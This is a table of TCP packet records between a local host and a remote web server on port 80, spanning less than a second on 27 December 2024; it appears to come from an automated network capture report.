Dec 27, 2024 22:33:10.863369942 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.863430023 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.863518953 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.865917921 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.865971088 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.866004944 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.868525982 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.868578911 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.868592978 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.870912075 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.870964050 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.871009111 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.873316050 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.873375893 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.873430014 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.875865936 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.875931978 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.875994921 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.878144026 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.878232956 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.878246069 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.880541086 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.880625963 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.880635977 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.882833958 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.882886887 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.882947922 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.885268927 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.885325909 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.885327101 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.887581110 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.887631893 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.887754917 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.889919043 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.889967918 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.890029907 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.892333031 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.892389059 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.892479897 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.893871069 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.894006014 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.894053936 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.894747972 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.894789934 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.894860029 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.895095110 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.895652056 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.895701885 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.895756960 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.897013903 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.897074938 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.897103071 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.898602009 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.898664951 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.898710966 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.899341106 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.899393082 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.899425030 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.901561022 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.901634932 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.901674032 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.901737928 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.901753902 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.901781082 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.904061079 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.904114962 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.904186010 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.904512882 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.904562950 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.904608011 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.906533003 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.906583071 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.906627893 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.907394886 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.907445908 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.907469988 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.908759117 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.908804893 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.908890963 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.910223961 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.910269976 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.910336018 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.911128044 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.911173105 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.911241055 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.912981033 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.913034916 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.913050890 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.913480043 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.913536072 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.913588047 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.915750980 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.915795088 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.915842056 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.915857077 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.915874004 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.915927887 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.918179035 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.918225050 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.918286085 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.918431044 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.918487072 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.918531895 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.920578003 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.920624018 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.920639992 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.921123981 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.921170950 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.921210051 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.922911882 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.922967911 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.923029900 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.923773050 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.923818111 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.923883915 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.924525023 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.924617052 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.924665928 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.925277948 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.925318003 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.925414085 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.925582886 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.925789118 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.925846100 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.926429987 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.926481962 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.926526070 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.927611113 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.927658081 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.927700996 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.927791119 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.927805901 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.927849054 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.929115057 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.929168940 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.929241896 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.929902077 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.929985046 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.930001020 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.930017948 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.930032015 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.930078983 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.931775093 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.931843996 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.931883097 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.932044029 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.932188988 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.932259083 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.932296991 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.932337999 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.932403088 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.934256077 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.934339046 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.934396982 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.934432030 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.934447050 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.934477091 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.934643984 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.934696913 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.934777021 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.936377048 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.936439991 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.936490059 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.937026978 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.937053919 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.937069893 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.937074900 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.937114000 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.937136889 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.938445091 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.938544035 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.938592911 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.939363003 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.939413071 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.939502001 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.939809084 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.939836979 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.939853907 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.940552950 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.940655947 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.940701008 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.941732883 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.941787958 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.941888094 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.942419052 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.942492962 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.942507982 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.942631960 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.942749977 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.942795038 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.944109917 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.944170952 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.944214106 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.944708109 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.944787025 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.944835901 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.945064068 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.945111036 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.945144892 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.946435928 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.946481943 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.946537971 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.946809053 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.946857929 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.946913004 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.947740078 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.947796106 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.947813988 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.948805094 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.948856115 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.948898077 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.948915005 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.948945999 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.948990107 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.950372934 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.950419903 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.950483084 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.950968981 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.951071978 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.951117992 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.951168060 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.951183081 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.951210022 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.953069925 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.953085899 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.953109026 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.953145027 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.953192949 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.953236103 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.953505993 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.953555107 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.953579903 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.955140114 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.955271959 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.955332994 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.955701113 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.955751896 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.955826044 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.955892086 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.955907106 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.955936909 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.957274914 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.957423925 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.957470894 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.958233118 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.958281994 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.958375931 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.958391905 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.958436966 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.958466053 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.959326029 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.959427118 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.959480047 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.960597038 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.960655928 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.960702896 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.960997105 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.961045027 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.961085081 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.961431980 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.961448908 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.961502075 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.962949991 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.963037014 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.963067055 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.963577032 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.963624954 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.963682890 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.963697910 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.963700056 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.963730097 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.965317965 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.965378046 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.965388060 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.965607882 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.965734959 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.965796947 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.966373920 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.966427088 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.966522932 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.967679977 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.967699051 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.967711926 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.967751980 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.967757940 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.967807055 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.968992949 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.969047070 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.969115973 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.969765902 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.969863892 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.969917059 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.971648932 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.971699953 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.971786022 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.971887112 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.971904039 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.971951008 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.973953962 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.974077940 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.974149942 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.974298954 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.974347115 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.974387884 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.976022959 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.976123095 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.976197004 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.976958036 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.977016926 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.977056980 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.978157997 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.978250027 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.978301048 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.979645014 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.979698896 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.979739904 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.980216026 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.980295897 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.980345011 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.982295990 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.982348919 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.982352972 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.982364893 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.982481956 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.982531071 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.984378099 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.984498978 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.984570026 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.984945059 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.984996080 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.985037088 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.986524105 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.986632109 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.986681938 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.987586975 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.987637043 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.987776041 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.988562107 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.988668919 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.988720894 CET	49741	80	192.168.2.4	147.45.44.131
